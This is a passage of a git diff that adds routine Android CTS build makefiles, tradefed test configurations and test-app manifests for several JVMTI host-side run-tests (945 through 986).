+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_945">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="945" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_945" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.mk b/hostsidetests/jvmti/run-tests/test-947/Android.mk
new file mode 100644
index 0000000..4b4cead
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest947HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
new file mode 100644
index 0000000..4ab0c9a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest947DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_947" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest947HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest947DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_947" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
new file mode 100644
index 0000000..42cc459
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest947DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml
new file mode 100644
index 0000000..36a85ef
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_947">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="947" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_947" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.mk b/hostsidetests/jvmti/run-tests/test-951/Android.mk
new file mode 100644
index 0000000..ba45b86
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest951HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
new file mode 100644
index 0000000..b489635
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest951DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_951" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest951HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest951DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_951" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
new file mode 100644
index 0000000..6b22274
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest951DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml
new file mode 100644
index 0000000..be50d55
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_951">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="951" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_951" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.mk b/hostsidetests/jvmti/run-tests/test-982/Android.mk
new file mode 100644
index 0000000..908adaf
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest982HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
new file mode 100644
index 0000000..7c4833f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest982DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_982" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest982HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest982DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_982" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
new file mode 100644
index 0000000..a06c76d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest982DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml
new file mode 100644
index 0000000..d1cc7b1
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_982">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="982" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_982" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.mk b/hostsidetests/jvmti/run-tests/test-984/Android.mk
new file mode 100644
index 0000000..3ddb2ad
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest984HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
new file mode 100644
index 0000000..7ba284c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest984DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_984" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest984HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest984DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_984" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
new file mode 100644
index 0000000..b30ff35
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest984DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml
new file mode 100644
index 0000000..963cd51
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_984">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="984" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_984" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.mk b/hostsidetests/jvmti/run-tests/test-985/Android.mk
new file mode 100644
index 0000000..0ed12de
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest985HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
new file mode 100644
index 0000000..ba21091
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest985DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_985" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest985HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest985DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_985" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/Android.mk b/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
new file mode 100644
index 0000000..e092712
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest985DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml
new file mode 100644
index 0000000..4b0ffa5
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_985">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="985" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_985" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.mk b/hostsidetests/jvmti/run-tests/test-986/Android.mk
new file mode 100644
index 0000000..8e6ec6f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest986HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
